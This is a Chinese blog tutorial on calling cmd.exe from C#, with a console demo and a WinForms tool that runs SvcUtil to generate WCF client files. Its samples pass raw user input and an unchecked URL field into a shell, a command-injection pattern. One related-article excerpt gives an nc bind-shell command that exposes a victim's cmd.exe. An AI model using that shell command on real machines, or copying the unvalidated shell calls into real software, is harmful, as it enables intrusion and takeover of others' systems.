C#程序调用CMD执行命令

 

在windows环境下,命令行程序为cmd.exe,是一个32位的命令行程序,微软Windows系统基于Windows上的命令解释程序,类似于微软的DOS操作系统。输入一些命令,cmd.exe可以执行,比如输入shutdown -s就会在30秒后关机。总之,它非常有用。打开方法:开始-所有程序-附件 或 开始-寻找-输入:cmd/cmd.exe 回车。它也可以执行BAT文件。

下面介绍使用C#程序调用cmd执行命令:

代码:

 1 using System;
2 using System.Collections.Generic;
3 using System.Linq;
4 using System.Text;
5 using System.Threading.Tasks;
6 using System.Diagnostics;
7
8 namespace CmdDemo
9 {
10 class Program
11 {
12 static void Main(string[] args)
13 {
14 Console.WriteLine("请输入要执行的命令:");
15 string strInput = Console.ReadLine();
16 Process p = new Process();
17 //设置要启动的应用程序
18 p.StartInfo.FileName = "cmd.exe";
19 //是否使用操作系统shell启动
20 p.StartInfo.UseShellExecute = false;
21 // 接受来自调用程序的输入信息
22 p.StartInfo.RedirectStandardInput = true;
23 //输出信息
24 p.StartInfo.RedirectStandardOutput = true;
25 // 输出错误
26 p.StartInfo.RedirectStandardError = true;
27 //不显示程序窗口
28 p.StartInfo.CreateNoWindow = true;
29 //启动程序
30 p.Start();
31
32 //向cmd窗口发送输入信息
33 p.StandardInput.WriteLine(strInput+"&exit");
34
35 p.StandardInput.AutoFlush=true;
36
37 //获取输出信息
38 string strOuput = p.StandardOutput.ReadToEnd();
39 //等待程序执行完退出进程
40 p.WaitForExit();
41 p.Close();
42
43 Console.WriteLine(strOuput);
44
45 Console.ReadKey();
46 }
47 }
48 }

运行效果:

应用:使用C#程序调用cmd命令生成WCF服务的客户端调用文件

设计界面:

代码如下:

 1 using System;
2 using System.Collections.Generic;
3 using System.ComponentModel;
4 using System.Data;
5 using System.Drawing;
6 using System.Linq;
7 using System.Text;
8 using System.Threading.Tasks;
9 using System.Windows.Forms;
10 using System.Diagnostics;
11
12 namespace ExecuteCMD
13 {
14 public partial class FrmMain : Form
15 {
16 public FrmMain()
17 {
18 InitializeComponent();
19 }
20
21 private void btn_Create_Click(object sender, EventArgs e)
22 {
23 try
24 {
25 //创建一个进程
26 Process p = new Process();
27 p.StartInfo.FileName = "cmd.exe";
28 p.StartInfo.UseShellExecute = false;//是否使用操作系统shell启动
29 p.StartInfo.RedirectStandardInput = true;//接受来自调用程序的输入信息
30 p.StartInfo.RedirectStandardOutput = true;//由调用程序获取输出信息
31 p.StartInfo.RedirectStandardError = true;//重定向标准错误输出
32 p.StartInfo.CreateNoWindow = true;//不显示程序窗口
33 p.Start();//启动程序
34
35 string strCMD = "\"" + @"C:\Program Files (x86)\Microsoft SDKs\Windows\v8.0A\bin\NETFX 4.0 Tools\SvcUtil.exe" + "\" " + this.txt_URL.Text.ToString().Trim()
36 + " /r:"+"\""+@"C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\System.Data.dll" +"\""+ " /syncOnly";
37 //向cmd窗口发送输入信息
38 p.StandardInput.WriteLine(strCMD + "&exit");
39
40 p.StandardInput.AutoFlush = true;
41
42 //获取cmd窗口的输出信息
43 string output = p.StandardOutput.ReadToEnd();
44 //等待程序执行完退出进程
45 p.WaitForExit();
46 p.Close();
47
48
49 MessageBox.Show(output);
50 Console.WriteLine(output);
51 }
52 catch (Exception ex)
53 {
54 MessageBox.Show(ex.Message + "\r\n跟踪;" + ex.StackTrace);
55 }
56 }
57 }
58 }

点击创建按钮,会在bin\Debug目录下面生成对于的cs文件

C#调用一下CMD的更多相关文章

  1. SQL server 存储过程 C#调用Windows CMD命令并返回输出结果 Mysql删除重复数据保留最小的id C# 取字符串中间文本 取字符串左边 取字符串右边 C# JSON格式数据高级用法

    create proc insertLog@Title nvarchar(50),@Contents nvarchar(max),@UserId int,@CreateTime datetimeasi ...

  2. C#调用Windows CMD命令并,返回输出结果或错误信息

    public static string InvokeExcute(string Command) { Command = Command.Trim().TrimEnd('&') + &quo ...

  3. Java包package之间调用问题-cmd运行窗口编译运行

    问题:在使用了java包机制(package)后,编译出现错误:找不到或无法加载主类 xxx 的错误提示信息(各种编译不通过) 先给演示结果: 编译:javac -d classes src/a/He ...

  4. Ant 调用 Shell/CMD 命令

    Ant中调用Makefile,使用shell中的make命令 <?xml version="1.0" encoding="utf-8" ?> < ...

  5. java调用执行cmd指令启动weblogic

    这里的例子是启动weblogic import java.io.BufferedReader; import java.io.IOException; import java.io.InputStre ...

  6. java调用执行cmd命令

    未经允许,禁止转载!!! package practice; import java.io.BufferedReader; import java.io.File; import java.io.IO ...

  7. java代码调用exe(cmd命令)

    public class ShellCommand{    public static void execCmd(String cmd, boolean wait)    {        execC ...

  8. nc监控实现调用受害者cmd

    正向连接 受害者 IP 是直接暴漏在公网的 或者你们同属于一个内网 受害者:nc.exe -vlp 1234 -e cmd.exe 攻击者 nc 192.168.1.1 1234 nc -lvvp 8 ...

  9. CMD规范的函数与普通函数间调用

    /* * a.js * 普通的非cmd规范的js文件 */ function fun1(){ console.log("fun1"); //调用seajs模块中的fun1 seaj ...

随机推荐

  1. 面试官:知道你的接口QPS是多少么?(转)

    面试官:知道你的接口QPS是多少么? 原创: 孤独烟 孤独烟 9月24日 引言 大家好,我是渣渣烟. 我又来水文章了.这篇文章我个人感觉含金量不是太大,大概5分钟左右就能看完!其实大家都知道,我不爱写 ...

  2. liunx 定时任务执行java程序配置流程

    java jar包使用build fat jar进行打包 ------------------liunx任务创建--------------------------- 1.查看现有任务计划: cron ...

  3. django下创建多个app,如何设置每个app的urls

    1.创建第二个app 假设我们项目P下面已经有了一个默认的app,名字是app1.现在我想创建第二个app,名字时app2. 进入pychram下的Terminal中,运行命令: python man ...

  4. python技巧 — pip install 错误,超时

    jieba库安装失败   pip install -i https://pypi.tuna.tsinghua.edu.cn/simple jieba wordcloud库安装失败 pip instal ...

  5. leetcode 罗马数字和数字的互相转换

    不知哪个大佬说过: 关于字符串的题都可以用指针或哈希解决. 罗马数字转数字: 思想: 我们能观察到规律: 一般情况下,表示大的字母在前,小字母在后; 特殊情况下,小字母会在大字母之前,但是相应的,得到 ...

  6. Golang 实现单例模式

    目录 只适用于单线程环境 支持并发版本 优化并发版本 sync.Once版本 只适用于单线程环境 package main import "fmt" type Single str ...

  7. 【LEETCODE】45、766. Toeplitz Matrix

    package y2019.Algorithm.array; /** * @ProjectName: cutter-point * @Package: y2019.Algorithm.array * ...

  8. H5新特性 本地存储---cookie localStorage sessionStorage

    本地存储的作用 :避免登录网站时,用户在页面浏览时重复登录,也可以实现快速登录,一段时间内保存用户的登录效果,提高页面访问速率 在html5中提供三种数据持久化操作的方法: 1.cookie 可看作是 ...

  9. 组件系列之RabbitMQ

    官网: https://www.rabbitmq.com/getstarted.html 1.四种交换机 TODO... 2.消费者获取消息方式:推 和 拉 拉取:每次拉取一条,循环拉取需要的条数在批 ...

  10. redis持久化机制和内存管理

    redis持久化方式有两种:RDB方式和AOF方式 1.RDB方式:内存快照,在指定的时间间隔对数据进行快照存储,支持在客户端直接BGSAVE或者SAVE命令来创建一个内存快照,BGSAVE会fork ...